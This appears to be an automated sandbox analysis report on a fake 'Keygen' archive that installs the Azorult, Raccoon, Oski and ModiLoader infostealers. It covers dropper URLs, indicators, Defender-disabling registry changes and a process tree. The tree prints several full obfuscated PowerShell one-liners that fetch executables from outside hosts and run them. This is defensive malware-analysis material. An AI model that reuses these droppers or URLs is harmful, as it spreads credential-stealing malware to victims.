azorult | 201001-nyhbt4p25j_pw_infected[.]rar

Resubmissions

02-10-2020 21:14

201002-pjxdl9y6a6 10

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:49

Analysis

max time kernel
55s
max time network
160s
platform
windows10_x64
resource
win10v200722
submitted
01-10-2020 20:51

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General

Target

201001-nyhbt4p25j_pw_infected/Keygen — копия (30) — копия.exe

Score

10^/10

azorult modiloader oski raccoon discovery evasion infostealer ransomware spyware stealer trojan

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhHT

exe.dropper

http://bit.do/fqhHT

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://zxvbcrt.ug/zxcvb.exe

exe.dropper

http://zxvbcrt.ug/zxcvb.exe

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://pdshcjvnv.ug/zxcvb.exe

exe.dropper

http://pdshcjvnv.ug/zxcvb.exe

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhJv

exe.dropper

http://bit.do/fqhJv

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhJD

exe.dropper

http://bit.do/fqhJD

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://rbcxvnb.ug/zxcvb.exe

exe.dropper

http://rbcxvnb.ug/zxcvb.exe

Extracted

Path

C:\Users\Admin\AppData\LocalLow\machineinfo.txt

Family

raccoon

Ransom Note

[Raccoon Stealer] - v1.5.13-af-hotfix Release Build compiled on Mon Jul 6 14:33:02 2020 Launched at: 2020.10.02 - 02:35:20 GMT Bot_ID: 45C09E90-D226-4B85-B571-2DF39F153B63_Admin Running on a desktop =R=A=C=C=O=O=N= - Cookies: 0 - Passwords: 5 - Files: 0 System Information: - System Language: English - System TimeZone: -0 hrs - IP: 154.61.71.51 - Location: 37.750999, -97.821999 | ?, ?, United States (?) - ComputerName: VGFPEPKW - Username: Admin - Windows version: NT 10.0 - Product name: Windows 10 Pro - System arch: x64 - CPU: Persocon Processor 2.5+ (2 cores) - RAM: 4095 MB (761 MB used) - Screen resolution: 1280x720 - Display devices: 0) Microsoft Basic Display Adapter ============

Signatures

Azorult
An information stealer that was first discovered in 2016, targeting browsing history and passwords.
trojan infostealer azorult

Contains code to disable Windows Defender 4 IoCs

A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

Processes:

resource	yara_rule
behavioral154/memory/5080-306-0x000000000B180000-0x000000000B185000-memory.dmp	disable_win_def
behavioral154/memory/3628-314-0x000000000A560000-0x000000000A563000-memory.dmp	disable_win_def
C:\Windows\Temp\jr3ciyvy.exe	disable_win_def
C:\Windows\temp\jr3ciyvy.exe	disable_win_def

ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
trojan modiloader
Modifies Windows Defender Real-time Protection settings 3 TTPs
evasion trojan

Modify Registry
T1112

Modify Existing Service
T1031

Disabling Security Tools
T1089
Oski
Oski is an infostealer targeting browser data, crypto wallets.
infostealer oski
Raccoon
Simple but powerful infostealer which was very active in 2019.
stealer raccoon
Raccoon log file 1 IoCs
Detects a log file produced by the Raccoon Stealer.

Processes:

yara_rule

raccoon_log_file

yara_rule
raccoon_log_file

ModiLoader First Stage 1 IoCs

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\dYMPxxywEt.exe	modiloader_stage1

Blocklisted process makes network request 6 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

flow pid process

9 1748 powershell.exe
10 3852 powershell.exe
13 1748 powershell.exe
15 3852 powershell.exe
17 4376 powershell.exe
22 4376 powershell.exe
Downloads MZ/PE file

flow	pid	process
9	1748	powershell.exe
10	3852	powershell.exe
13	1748	powershell.exe
15	3852	powershell.exe
17	4376	powershell.exe
22	4376	powershell.exe

Executes dropped EXE 24 IoCs

Processes:

Keygen.exeowj.exeopb.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exeopb.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exepdn.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exepdn.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exeowj.exehgfnmbasdo.exehgfnmbasdo.exeaxcsdfa.exeaxcsdfa.exeOv1FCFOic7.exedYMPxxywEt.exe1wUegZM6HW.exeOQbkdHf8dn.exejr3ciyvy.exe

pid	process
3992	Keygen.exe
4964	owj.exe
4972	opb.exe
5100	FVjhgtresfdbv.exe
5116	NHtrdsaghfDF.exe
2252	opb.exe
4188	FVjhgtresfdbv.exe
3636	NHtrdsaghfDF.exe
3924	pdn.exe
852	FVjhgtresfdbv.exe
4724	NHtrdsaghfDF.exe
4940	pdn.exe
3528	FVjhgtresfdbv.exe
1684	NHtrdsaghfDF.exe
1760	owj.exe
3596	hgfnmbasdo.exe
1720	hgfnmbasdo.exe
3792	axcsdfa.exe
3020	axcsdfa.exe
5036	Ov1FCFOic7.exe
5040	dYMPxxywEt.exe
5080	1wUegZM6HW.exe
3628	OQbkdHf8dn.exe
4388	jr3ciyvy.exe

Loads dropped DLL 15 IoCs

Processes:

FVjhgtresfdbv.exeFVjhgtresfdbv.exeopb.exehgfnmbasdo.exe

pid	process
4188	FVjhgtresfdbv.exe
4188	FVjhgtresfdbv.exe
4188	FVjhgtresfdbv.exe
3528	FVjhgtresfdbv.exe
3528	FVjhgtresfdbv.exe
3528	FVjhgtresfdbv.exe
2252	opb.exe
1720	hgfnmbasdo.exe
1720	hgfnmbasdo.exe
1720	hgfnmbasdo.exe
2252	opb.exe
2252	opb.exe
2252	opb.exe
2252	opb.exe
2252	opb.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Windows security modification 2 TTPs 2 IoCs

evasion trojan

Disabling Security Tools

T1089

Modify Registry

T1112

Processes:

OQbkdHf8dn.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features	OQbkdHf8dn.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features\TamperProtection = "0"	OQbkdHf8dn.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Drops desktop.ini file(s) 1 IoCs

Processes:

opb.exe

description ioc process

File created C:\Users\Admin\AppData\LocalLow\cr6im03b56g32r\desktop.ini opb.exe

description	ioc	process
File created	C:\Users\Admin\AppData\LocalLow\cr6im03b56g32r\desktop.ini	opb.exe

Suspicious use of SetThreadContext 9 IoCs

Processes:

opb.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exepdn.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exeowj.exehgfnmbasdo.exeaxcsdfa.exe

description	pid	process	target process
PID 4972 set thread context of 2252	4972	opb.exe	opb.exe
PID 5100 set thread context of 4188	5100	FVjhgtresfdbv.exe	FVjhgtresfdbv.exe
PID 5116 set thread context of 3636	5116	NHtrdsaghfDF.exe	NHtrdsaghfDF.exe
PID 3924 set thread context of 4940	3924	pdn.exe	pdn.exe
PID 852 set thread context of 3528	852	FVjhgtresfdbv.exe	FVjhgtresfdbv.exe
PID 4724 set thread context of 1684	4724	NHtrdsaghfDF.exe	NHtrdsaghfDF.exe
PID 4964 set thread context of 1760	4964	owj.exe	owj.exe
PID 3596 set thread context of 1720	3596	hgfnmbasdo.exe	hgfnmbasdo.exe
PID 3792 set thread context of 3020	3792	axcsdfa.exe	axcsdfa.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

FVjhgtresfdbv.exeFVjhgtresfdbv.exehgfnmbasdo.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	FVjhgtresfdbv.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	FVjhgtresfdbv.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	hgfnmbasdo.exe

Delays execution with timeout.exe 3 IoCs
evasion

Processes:

timeout.exetimeout.exetimeout.exe

pid process

3092 timeout.exe
3952 timeout.exe
5076 timeout.exe
Kills process with taskkill 4 IoCs
evasion

Processes:

taskkill.exetaskkill.exetaskkill.exetaskkill.exe

pid process

4292 taskkill.exe
3668 taskkill.exe
4300 taskkill.exe
3920 taskkill.exe

pid	process
3092	timeout.exe
3952	timeout.exe
5076	timeout.exe

pid	process
4292	taskkill.exe
3668	taskkill.exe
4300	taskkill.exe
3920	taskkill.exe

Modifies registry class 3 IoCs

Processes:

cmd.exeowj.exehgfnmbasdo.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2168186643-810464528-1121082739-1000_Classes\Local Settings	cmd.exe
Key created	\REGISTRY\USER\S-1-5-21-2168186643-810464528-1121082739-1000_Classes\Local Settings	owj.exe
Key created	\REGISTRY\USER\S-1-5-21-2168186643-810464528-1121082739-1000_Classes\Local Settings	hgfnmbasdo.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe1wUegZM6HW.exe

pid	process
3220	powershell.exe
3852	powershell.exe
2100	powershell.exe
1748	powershell.exe
2100	powershell.exe
3852	powershell.exe
3220	powershell.exe
1748	powershell.exe
1748	powershell.exe
2100	powershell.exe
3220	powershell.exe
3852	powershell.exe
4376	powershell.exe
4376	powershell.exe
4572	powershell.exe
4572	powershell.exe
4376	powershell.exe
4572	powershell.exe
4376	powershell.exe
4572	powershell.exe
5080	1wUegZM6HW.exe
5080	1wUegZM6HW.exe
5080	1wUegZM6HW.exe
5080	1wUegZM6HW.exe
5080	1wUegZM6HW.exe
5080	1wUegZM6HW.exe
5080	1wUegZM6HW.exe
5080	1wUegZM6HW.exe
5080	1wUegZM6HW.exe
5080	1wUegZM6HW.exe
5080	1wUegZM6HW.exe
5080	1wUegZM6HW.exe
5080	1wUegZM6HW.exe
5080	1wUegZM6HW.exe
5080	1wUegZM6HW.exe
5080	1wUegZM6HW.exe
5080	1wUegZM6HW.exe
5080	1wUegZM6HW.exe
5080	1wUegZM6HW.exe
5080	1wUegZM6HW.exe
5080	1wUegZM6HW.exe
5080	1wUegZM6HW.exe
5080	1wUegZM6HW.exe
5080	1wUegZM6HW.exe
5080	1wUegZM6HW.exe
5080	1wUegZM6HW.exe
5080	1wUegZM6HW.exe
5080	1wUegZM6HW.exe
5080	1wUegZM6HW.exe
5080	1wUegZM6HW.exe
5080	1wUegZM6HW.exe
5080	1wUegZM6HW.exe
5080	1wUegZM6HW.exe
5080	1wUegZM6HW.exe
5080	1wUegZM6HW.exe
5080	1wUegZM6HW.exe
5080	1wUegZM6HW.exe
5080	1wUegZM6HW.exe
5080	1wUegZM6HW.exe
5080	1wUegZM6HW.exe
5080	1wUegZM6HW.exe
5080	1wUegZM6HW.exe
5080	1wUegZM6HW.exe
5080	1wUegZM6HW.exe

Suspicious behavior: MapViewOfSection 6 IoCs

Processes:

opb.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exepdn.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exe

pid process

4972 opb.exe
5100 FVjhgtresfdbv.exe
5116 NHtrdsaghfDF.exe
3924 pdn.exe
852 FVjhgtresfdbv.exe
4724 NHtrdsaghfDF.exe

pid	process
4972	opb.exe
5100	FVjhgtresfdbv.exe
5116	NHtrdsaghfDF.exe
3924	pdn.exe
852	FVjhgtresfdbv.exe
4724	NHtrdsaghfDF.exe

Suspicious use of AdjustPrivilegeToken 17 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exeowj.exetaskkill.exetaskkill.exehgfnmbasdo.exetaskkill.exeaxcsdfa.exe1wUegZM6HW.exeOQbkdHf8dn.exepowershell.exepowershell.exetaskkill.exe

description	pid	process
Token: SeDebugPrivilege	3852	powershell.exe
Token: SeDebugPrivilege	3220	powershell.exe
Token: SeDebugPrivilege	2100	powershell.exe
Token: SeDebugPrivilege	1748	powershell.exe
Token: SeDebugPrivilege	4376	powershell.exe
Token: SeDebugPrivilege	4572	powershell.exe
Token: SeDebugPrivilege	4964	owj.exe
Token: SeDebugPrivilege	4292	taskkill.exe
Token: SeDebugPrivilege	3668	taskkill.exe
Token: SeDebugPrivilege	3596	hgfnmbasdo.exe
Token: SeDebugPrivilege	4300	taskkill.exe
Token: SeDebugPrivilege	3792	axcsdfa.exe
Token: SeDebugPrivilege	5080	1wUegZM6HW.exe
Token: SeDebugPrivilege	3628	OQbkdHf8dn.exe
Token: SeDebugPrivilege	4260	powershell.exe
Token: SeDebugPrivilege	1084	powershell.exe
Token: SeDebugPrivilege	3920	taskkill.exe

Suspicious use of SetWindowsHookEx 9 IoCs

Processes:

Keygen.exeopb.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exepdn.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exe1wUegZM6HW.exe

pid	process
3992	Keygen.exe
4972	opb.exe
5100	FVjhgtresfdbv.exe
5116	NHtrdsaghfDF.exe
3924	pdn.exe
852	FVjhgtresfdbv.exe
4724	NHtrdsaghfDF.exe
5080	1wUegZM6HW.exe
5080	1wUegZM6HW.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

Keygen — копия (30) — копия.execmd.exemshta.exemshta.exemshta.exemshta.exemshta.exemshta.exepowershell.exepowershell.exeopb.exe

description	pid	process	target process
PID 3200 wrote to memory of 2084	3200	Keygen — копия (30) — копия.exe	cmd.exe
PID 3200 wrote to memory of 2084	3200	Keygen — копия (30) — копия.exe	cmd.exe
PID 3200 wrote to memory of 2084	3200	Keygen — копия (30) — копия.exe	cmd.exe
PID 2084 wrote to memory of 3992	2084	cmd.exe	Keygen.exe
PID 2084 wrote to memory of 3992	2084	cmd.exe	Keygen.exe
PID 2084 wrote to memory of 3992	2084	cmd.exe	Keygen.exe
PID 2084 wrote to memory of 3440	2084	cmd.exe	mshta.exe
PID 2084 wrote to memory of 3440	2084	cmd.exe	mshta.exe
PID 2084 wrote to memory of 3440	2084	cmd.exe	mshta.exe
PID 2084 wrote to memory of 3572	2084	cmd.exe	mshta.exe
PID 2084 wrote to memory of 3572	2084	cmd.exe	mshta.exe
PID 2084 wrote to memory of 3572	2084	cmd.exe	mshta.exe
PID 2084 wrote to memory of 3092	2084	cmd.exe	timeout.exe
PID 2084 wrote to memory of 3092	2084	cmd.exe	timeout.exe
PID 2084 wrote to memory of 3092	2084	cmd.exe	timeout.exe
PID 3440 wrote to memory of 3852	3440	mshta.exe	powershell.exe
PID 3440 wrote to memory of 3852	3440	mshta.exe	powershell.exe
PID 3440 wrote to memory of 3852	3440	mshta.exe	powershell.exe
PID 3572 wrote to memory of 3220	3572	mshta.exe	powershell.exe
PID 3572 wrote to memory of 3220	3572	mshta.exe	powershell.exe
PID 3572 wrote to memory of 3220	3572	mshta.exe	powershell.exe
PID 2084 wrote to memory of 204	2084	cmd.exe	mshta.exe
PID 2084 wrote to memory of 204	2084	cmd.exe	mshta.exe
PID 2084 wrote to memory of 204	2084	cmd.exe	mshta.exe
PID 2084 wrote to memory of 3692	2084	cmd.exe	mshta.exe
PID 2084 wrote to memory of 3692	2084	cmd.exe	mshta.exe
PID 2084 wrote to memory of 3692	2084	cmd.exe	mshta.exe
PID 3692 wrote to memory of 2100	3692	mshta.exe	powershell.exe
PID 3692 wrote to memory of 2100	3692	mshta.exe	powershell.exe
PID 3692 wrote to memory of 2100	3692	mshta.exe	powershell.exe
PID 204 wrote to memory of 1748	204	mshta.exe	powershell.exe
PID 204 wrote to memory of 1748	204	mshta.exe	powershell.exe
PID 204 wrote to memory of 1748	204	mshta.exe	powershell.exe
PID 2084 wrote to memory of 3952	2084	cmd.exe	timeout.exe
PID 2084 wrote to memory of 3952	2084	cmd.exe	timeout.exe
PID 2084 wrote to memory of 3952	2084	cmd.exe	timeout.exe
PID 2084 wrote to memory of 4244	2084	cmd.exe	mshta.exe
PID 2084 wrote to memory of 4244	2084	cmd.exe	mshta.exe
PID 2084 wrote to memory of 4244	2084	cmd.exe	mshta.exe
PID 4244 wrote to memory of 4376	4244	mshta.exe	powershell.exe
PID 4244 wrote to memory of 4376	4244	mshta.exe	powershell.exe
PID 4244 wrote to memory of 4376	4244	mshta.exe	powershell.exe
PID 2084 wrote to memory of 4456	2084	cmd.exe	mshta.exe
PID 2084 wrote to memory of 4456	2084	cmd.exe	mshta.exe
PID 2084 wrote to memory of 4456	2084	cmd.exe	mshta.exe
PID 4456 wrote to memory of 4572	4456	mshta.exe	powershell.exe
PID 4456 wrote to memory of 4572	4456	mshta.exe	powershell.exe
PID 4456 wrote to memory of 4572	4456	mshta.exe	powershell.exe
PID 1748 wrote to memory of 4964	1748	powershell.exe	owj.exe
PID 1748 wrote to memory of 4964	1748	powershell.exe	owj.exe
PID 1748 wrote to memory of 4964	1748	powershell.exe	owj.exe
PID 3852 wrote to memory of 4972	3852	powershell.exe	opb.exe
PID 3852 wrote to memory of 4972	3852	powershell.exe	opb.exe
PID 3852 wrote to memory of 4972	3852	powershell.exe	opb.exe
PID 4972 wrote to memory of 5100	4972	opb.exe	FVjhgtresfdbv.exe
PID 4972 wrote to memory of 5100	4972	opb.exe	FVjhgtresfdbv.exe
PID 4972 wrote to memory of 5100	4972	opb.exe	FVjhgtresfdbv.exe
PID 4972 wrote to memory of 5116	4972	opb.exe	NHtrdsaghfDF.exe
PID 4972 wrote to memory of 5116	4972	opb.exe	NHtrdsaghfDF.exe
PID 4972 wrote to memory of 5116	4972	opb.exe	NHtrdsaghfDF.exe
PID 4972 wrote to memory of 2252	4972	opb.exe	opb.exe
PID 4972 wrote to memory of 2252	4972	opb.exe	opb.exe
PID 4972 wrote to memory of 2252	4972	opb.exe	opb.exe
PID 4972 wrote to memory of 2252	4972	opb.exe	opb.exe

C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — копия (30) — копия.exe
"C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — копия (30) — копия.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3200

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\7332.tmp\start.bat" "C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — ????? (30) — ?????.exe""
2⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:2084

C:\Users\Admin\AppData\Local\Temp\7332.tmp\Keygen.exe
Keygen.exe
3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:3992

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\7332.tmp\m.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:3440

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iguyoamkbvf $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iguyoamkbvf umgptdaebf $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|umgptdaebf;iguyoamkbvf rsatiq $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhIVA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);rsatiq $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3852

C:\Users\Public\opb.exe
"C:\Users\Public\opb.exe"
5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4972

C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:5100

C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
7⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
PID:4188

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /pid 4188 & erase C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe & RD /S /Q C:\\ProgramData\\781426682111244\\* & exit
8⤵
PID:4152

C:\Windows\SysWOW64\taskkill.exe
taskkill /pid 4188
9⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4292

C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:5116

C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
7⤵
- Executes dropped EXE
PID:3636

C:\Users\Public\opb.exe
"C:\Users\Public\opb.exe"
6⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops desktop.ini file(s)
PID:2252

C:\Users\Admin\AppData\Local\Temp\Ov1FCFOic7.exe
"C:\Users\Admin\AppData\Local\Temp\Ov1FCFOic7.exe"
7⤵
- Executes dropped EXE
PID:5036

C:\Users\Admin\AppData\Local\Temp\dYMPxxywEt.exe
"C:\Users\Admin\AppData\Local\Temp\dYMPxxywEt.exe"
7⤵
- Executes dropped EXE
PID:5040

C:\Users\Admin\AppData\Local\Temp\1wUegZM6HW.exe
"C:\Users\Admin\AppData\Local\Temp\1wUegZM6HW.exe"
7⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:5080

\??\c:\windows\SysWOW64\cmstp.exe
"c:\windows\system32\cmstp.exe" /au C:\Windows\temp\texmjafq.inf
8⤵
PID:200

C:\Users\Admin\AppData\Local\Temp\OQbkdHf8dn.exe
"C:\Users\Admin\AppData\Local\Temp\OQbkdHf8dn.exe"
7⤵
- Executes dropped EXE
- Windows security modification
- Suspicious use of AdjustPrivilegeToken
PID:3628

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell" Get-MpPreference -verbose
8⤵
- Suspicious use of AdjustPrivilegeToken
PID:4260

C:\Windows\SysWOW64\cmd.exe
cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Public\opb.exe"
7⤵
PID:3620

C:\Windows\SysWOW64\timeout.exe
timeout /T 10 /NOBREAK
8⤵
- Delays execution with timeout.exe
PID:5076

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\7332.tmp\m1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:3572

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iyhxbstew $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iyhxbstew bruolc $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bruolc;iyhxbstew cplmfksidr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3p4dmJjcnQudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);cplmfksidr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3220

C:\Windows\SysWOW64\timeout.exe
timeout 1
3⤵
- Delays execution with timeout.exe
PID:3092

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\7332.tmp\b.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:204

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL omdrklgfia $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;omdrklgfia yvshnex $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|yvshnex;omdrklgfia gemjhbnrwydsof $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKdg==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);gemjhbnrwydsof $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1748

C:\Users\Public\owj.exe
"C:\Users\Public\owj.exe"
5⤵
